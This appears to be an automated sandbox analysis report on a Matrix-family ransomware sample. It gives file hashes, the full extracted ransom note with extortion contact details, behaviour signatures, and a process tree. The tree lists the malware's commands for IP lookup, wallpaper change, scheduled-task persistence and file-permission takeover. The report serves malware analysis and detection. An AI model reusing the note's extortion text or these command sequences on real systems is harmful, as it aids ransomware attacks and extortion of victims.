Analysis
-
max time kernel
151s -
max time network
154s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
-
submitted
13-02-2024 05:15
General
-
Target
FoxRansomware/941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe
-
Size
1.2MB
-
MD5
c82d64850d35cc6a536c11adbd261cf6
-
SHA1
9f4d070a1b4668d110b57c167c4527fa2752c1fe
-
SHA256
941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1
-
SHA512
777a06d73e70a881d5b3872236ba8b53aa4d42f94ad247c109980847ccd6d0c531d30afef10315d7b5fe70c7fe4496f932aaac41f6aec76e98474c44bb781002
-
SSDEEP
24576:pLeb4QFvTn5TuJR5ezGPMy4EnBBuKfDW:Qb/GMef
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://myexternalip.com/raw
Extracted
Path
C:\Program Files\dotnet\shared\Microsoft.NETCore.App\8.0.0\#KOK8_README#.rtf
Ransom Note
{\rtf1\ansi\ansicpg1251\deff0\nouicompat\deflang1049{\fonttbl{\f0\fnil\fcharset0 Calibri;}{\f1\fnil\fcharset204 Calibri;}}
{\colortbl ;\red255\green0\blue0;\red0\green77\blue187;\red0\green176\blue80;\red0\green0\blue255;\red255\green255\blue255;}
{\*\generator Riched20 10.0.15063}\viewkind4\uc1
\pard\ri-500\sa200\sl240\slmult1\qc\tx8804\ul\b\f0\fs28\lang1033 HOW TO RECOVER YOUR FILES INSTRUCTION\ulnone\f1\lang1049\par
\pard\ri-74\sl240\slmult1\tx8378\cf1\f0\fs24\lang1033 ATENTION!!!\par
\cf0\b0 We are realy sorry to inform you that \b ALL YOUR FILES WERE ENCRYPTED \par
\b0 by our automatic software. It became possible because of bad server security. \par
\cf1\b ATENTION!!!\par
\cf0\b0 Please don't worry, we can help you to \b RESTORE\b0 your server to original\par
state and decrypt all your files quickly and safely!\par
\b\par
\cf2 INFORMATION!!!\par
\cf0\b0 Files are not broken!!!\par
Files were encrypted with AES-128+RSA-2048 crypto algorithms.\par
There is no way to decrypt your files without unique decryption key and special software. Your unique decryption key is securely stored on our server. For our safety, all information about your server and your decryption key will be automaticaly \b DELETED AFTER 7 DAYS! \b0 You will irrevocably lose all your data!\par
\i * Please note that all the attempts to recover your files by yourself or using third party tools will result only in irrevocable loss of your data!\par
* Please note that you can recover files only with your unique decryption key, which stored on our side. If you will use the help of third parties, you will only add a middleman.\f1\lang1049\par
\i0\f0\lang1033\par
\cf3\b HOW TO RECOVER FILES???\par
\cf0\b0 Please write us to the e-mail \i (write on English or use professional translator)\i0 :\par
\pard\sl240\slmult1\b\fs28 [email protected] \par
[email protected]\par
[email protected]\cf1\fs24\par
You have to send your message on each of our 3 emails\f1\lang1049 \f0\lang1033 due to the fact that the message may not reach their intended recipient for a variety of reasons!\fs28\par
\pard\ri-74\sl240\slmult1\tx8378\cf0\b0\fs24 \par
In subject line write your personal ID:\par
\b\fs28 248A5E34402C23D6\par
\b0\fs24 We recommed you to attach 3 encrypted files to your message. We will demonstrate that we can recover your files. \f1\lang1049\par
\i * \f0\lang1033 \f1\lang1049 \f0\lang1033 Please note that files must not contain any valuable information and their total size must be less than 5Mb. \par
\i0\par
\cf1\b OUR ADVICE!!!\par
\cf0\b0 Please be sure that we will find common languge. We will restore all the data and give you recommedations how to configure the protection of your server.\par
\ul\b\par
We will definitely reach an agreement ;) !!!\b0\par
\ulnone\par
\fs20 \par
\par
\par
\par
\par
\par
\par
\pard\ri-74\sl240\slmult1\qc\tx8378\b\fs24 ALTERNATIVE COMMUNICATION\par
\b0\fs20\par
\pard\ri-74\sl240\slmult1\tx8378 \f1\lang1049 If y\'eeu did n\'eet r\'e5c\'e5iv\'e5 th\'e5 \'e0nsw\'e5r fr\'eem th\'e5 \'e0f\'eer\'e5cit\'e5d \'e5m\'e0il\f0\lang1033 s\f1\lang1049 f\'eer m\'eer\'e5 th\f0\lang1033 e\f1\lang1049 n \f0\lang1033 24\f1\lang1049 h\f0\lang1033 o\f1\lang1049 urs\f0\lang1033 please s\f1\lang1049\'e5\f0\lang1033 nd us Bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 s fr\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r thr\f1\lang1049\'ee\f0\lang1033 ugh th\f1\lang1049\'e5\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 bp\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 {{\field{\*\fldinst{HYPERLINK https://bitmsg.me }}{\fldrslt{https://bitmsg.me\ul0\cf0}}}}\f0\fs20 . B\f1\lang1049\'e5\f0\lang1033 l\f1\lang1049\'ee\f0\lang1033 w is \f1\lang1049\'e0\f0\lang1033 tut\f1\lang1049\'ee\f0\lang1033 ri\f1\lang1049\'e0\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 n h\f1\lang1049\'ee\f0\lang1033 w t\f1\lang1049\'ee\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nd bitm\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 vi\f1\lang1049\'e0\f0\lang1033 w\f1\lang1049\'e5\f0\lang1033 b br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r:\par
1. \f1\lang1049\'ce\f0\lang1033 p\f1\lang1049\'e5\f0\lang1033 n in y\f1\lang1049\'ee\f0\lang1033 ur br\f1\lang1049\'ee\f0\lang1033 ws\f1\lang1049\'e5\f0\lang1033 r th\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_up }}{\fldrslt{https://bitmsg.me/users/sign_up\ul0\cf0}}}}\f0\fs20 \f1\lang1049\'e0\f0\lang1033 nd m\f1\lang1049\'e0\f0\lang1033 k\f1\lang1049\'e5\f0\lang1033 th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n b\f1\lang1049\'f3\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 ring n\f1\lang1049\'e0\f0\lang1033 m\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd.\par
2. \f1\lang1049\'d3\'ee\f0\lang1033 u must c\f1\lang1049\'ee\f0\lang1033 nfirm th\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 gistr\f1\lang1049\'e0\f0\lang1033 ti\f1\lang1049\'ee\f0\lang1033 n, r\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd f\f1\lang1049\'ee\f0\lang1033 ll\f1\lang1049\'ee\f0\lang1033 w th\f1\lang1049\'e5\f0\lang1033 instructi\f1\lang1049\'ee\f0\lang1033 ns th\f1\lang1049\'e0\f0\lang1033 t w\f1\lang1049\'e5\f0\lang1033 r\f1\lang1049\'e5\f0\lang1033 s\f1\lang1049\'e5\f0\lang1033 nt t\f1\lang1049\'ee\f0\lang1033 \f1\lang1049\'f3\'ee\f0\lang1033 u.\par
3. R\f1\lang1049\'e5\f0\lang1033 turn t\f1\lang1049\'ee\f0\lang1033 sit\f1\lang1049\'e5\f0\lang1033 \f1\lang1049\'e0\f0\lang1033 nd \f1\lang1049\'f1\f0\lang1033 lick \f1\lang1049 "\f0\lang1033 L\f1\lang1049\'ee\f0\lang1033 gin\f1\lang1049 "\f0\lang1033 l\f1\lang1049\'e0\f0\lang1033 b\f1\lang1049\'e5\f0\lang1033 l \f1\lang1049\'ee\f0\lang1033 r us\f1\lang1049\'e5\f0\lang1033 link {{\field{\*\fldinst{HYPERLINK https://bitmsg.me/users/sign_in }}{\fldrslt{https://bitmsg.me/users/sign_in\ul0\cf0}}}}\f0\fs20 , \f1\lang1049\'e5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur \f1\lang1049\'e5\f0\lang1033 m\f1\lang1049\'e0\f0\lang1033 il \f1\lang1049\'e0\f0\lang1033 nd p\f1\lang1049\'e0\f0\lang1033 ssw\f1\lang1049\'ee\f0\lang1033 rd \f1\lang1049\'e0\f0\lang1033 nd click th\f1\lang1049\'e5\f0\lang1033 "Sign in" butt\f1\lang1049\'ee\f0\lang1033 n. \f1\lang1049 \f0\lang1033\par
4. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "\f1\lang1049\'d1\f0\lang1033 r\f1\lang1049\'e5\'e0\f0\lang1033 t\f1\lang1049\'e5\f0\lang1033 R\f1\lang1049\'e0\f0\lang1033 nd\f1\lang1049\'ee\f0\lang1033 m \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss" butt\f1\lang1049\'ee\f0\lang1033 n.\par
5. \f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "N\f1\lang1049\'e5\f0\lang1033 w m\f1\lang1049\'e0\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\par
\b 6. S\f1\lang1049\'e5\f0\lang1033 nding m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 :\par
T\f1\lang1049\'ee\f0\lang1033 :\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'e0\f0\lang1033 ddr\f1\lang1049\'e5\f0\lang1033 ss: \b BM-2cXRWRW5Jv5hxbhgu2HJSJrtPf92iKshhm\par
\pard\sl240\slmult1 Subj\f1\lang1049\'e5\'f1\f0\lang1033 t:\b0 \f1\lang1049\'c5\f0\lang1033 nt\f1\lang1049\'e5\f0\lang1033 r \f1\lang1049\'f3\'ee\f0\lang1033 ur ID: \b 248A5E34402C23D6\par
M\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 : \b0 D\f1\lang1049\'e5\f0\lang1033 scrib\f1\lang1049\'e5\f0\lang1033 wh\f1\lang1049\'e0\f0\lang1033 t \f1\lang1049\'f3\'ee\f0\lang1033 u think n\f1\lang1049\'e5\f0\lang1033 c\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 r\f1\lang1049\'f3\f0\lang1033 .\par
\pard\ri-74\sa200\sl240\slmult1\tx8378\f1\lang1049\'d1\f0\lang1033 lick th\f1\lang1049\'e5\f0\lang1033 "S\f1\lang1049\'e5\f0\lang1033 nd m\f1\lang1049\'e5\f0\lang1033 ss\f1\lang1049\'e0\f0\lang1033 g\f1\lang1049\'e5\f0\lang1033 " butt\f1\lang1049\'ee\f0\lang1033 n.\cf5\b\par
\pard\sa200\sl240\slmult1\fs28 9PevOYFh\cf0\f1\fs32\lang1049\par
\par
}
Emails
URLs
https://bitmsg.me
https://bitmsg.me/users/sign_up
https://bitmsg.me/users/sign_in
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
-
Blocklisted process makes network request 1 IoCs
-
Drops file in Drivers directory 1 IoCs
-
Sets service image path in registry 2 TTPs 1 IoCs
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
-
Executes dropped EXE 64 IoCs
-
Modifies file permissions 1 TTPs 64 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
Drops desktop.ini file(s) 27 IoCs
-
Enumerates connected drives 3 TTPs 44 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
-
Suspicious behavior: EnumeratesProcesses 12 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
-
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe"1⤵
- Matrix Ransomware
- Drops desktop.ini file(s)
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\941af29a59f8d5960af161b9116bbc7d574a9af6f69a47cf0d3daeb31cba6eb1.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVcqERC.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVcqERC.exe"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVcqERC.exe" -n2⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\J9Tu7Q2X.txt"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\hC6vpv1h.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\hC6vpv1h.bmp" /f3⤵
- Sets desktop wallpaper using registry
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f3⤵
-
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\pT0zqRJb.vbs"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\wscript.exewscript //B //Nologo "C:\Users\Admin\AppData\Roaming\pT0zqRJb.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\XjGMi7Hl.bat" /sc minute /mo 5 /RL HIGHEST /F4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\XjGMi7Hl.bat" /sc minute /mo 5 /RL HIGHEST /F5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /I /tn DSHCA5⤵
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOPrivate\UpdateStore\store.db"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "store.db" -nobanner3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\FCcth9iY64.exeFCcth9iY.exe -accepteula "store.db" -nobanner5⤵
- Drops file in Drivers directory
- Sets service image path in registry
- Executes dropped EXE
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\USOPrivate\UpdateStore\store.db""2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOPrivate\UpdateStore\store.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOPrivate\UpdateStore\store.db"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "store.db" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "store.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\ConnectedDevicesPlatform\L.Admin\ActivitiesCache.db"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "ActivitiesCache.db" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "ActivitiesCache.db" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jre-1.8\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Java\jdk-1.8\jre\bin\server\classes.jsa"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "classes.jsa" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "classes.jsa" -nobanner4⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "WuProvider.54de1be9-37bd-4b03-8e62-b8dcdc412ad8.1.etl" -nobanner5⤵
- Executes dropped EXE
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Microsoft.NET\RedistList\AssemblyList_4_extended.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "AssemblyList_4_extended.xml" -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png"3⤵
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "watermark.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "watermark.png" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftNotepad.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftNotepad.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftNotepad.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2016BackupWin64.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2016BackupWin64.xml" -nobanner4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\NetworkPrinters.xml"3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "NetworkPrinters.xml" -nobanner3⤵
-
